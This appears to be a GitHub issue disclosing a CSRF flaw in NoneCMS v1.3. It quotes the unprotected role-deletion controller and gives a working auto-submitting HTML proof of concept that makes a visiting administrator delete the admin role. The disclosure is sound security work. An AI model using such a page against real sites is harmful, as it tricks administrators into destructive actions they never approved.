We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
NoneCMS v1.3 has a CSRF vulnerability in public/index.php/admin/role/dele.html, as demonstrated by deleting the admin role.
Vulnerability code is located in application\admin\controller\Role.php:
/** * 删除角色信息 */ public function dele() { $id = input('param.id/d',0); $role = AdminRole::get($id); if ($role && $role->delete()) { return ['status' => 1, 'msg' => '删除成功']; } else { return ['status' => 0, 'msg' => '删除失败']; } }
No CSRF token here.
So we can write the PoC as follows, csrf.html:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://172.23.64.227:88/nonecms/public/index.php/admin/role/dele.html"> <input type="hidden" name="id" value="6" /> <input type="submit" value="Submit request" /> </form> </body> <!-- JS automatically click --> <script> var m = document.getElementsByTagName('form')[0]; m.submit(); </script> </html>
Before the administrator visits the malicious link, there is a admin role existing in role management page:
When the administrator visits the malicious link, the page will automatically click to trigger the CSRF attack:
Although the response status code returns 500, the admin role has been deleted successfully:
The text was updated successfully, but these errors were encountered:
No branches or pull requests
NoneCMS v1.3 has a CSRF vulnerability in public/index.php/admin/role/dele.html, as demonstrated by deleting the admin role.
Vulnerability code is located in application\admin\controller\Role.php:
No CSRF token here.
So we can write the PoC as follows, csrf.html:
Before the administrator visits the malicious link, there is a admin role existing in role management page:
When the administrator visits the malicious link, the page will automatically click to trigger the CSRF attack:
Although the response status code returns 500, the admin role has been deleted successfully:
The text was updated successfully, but these errors were encountered: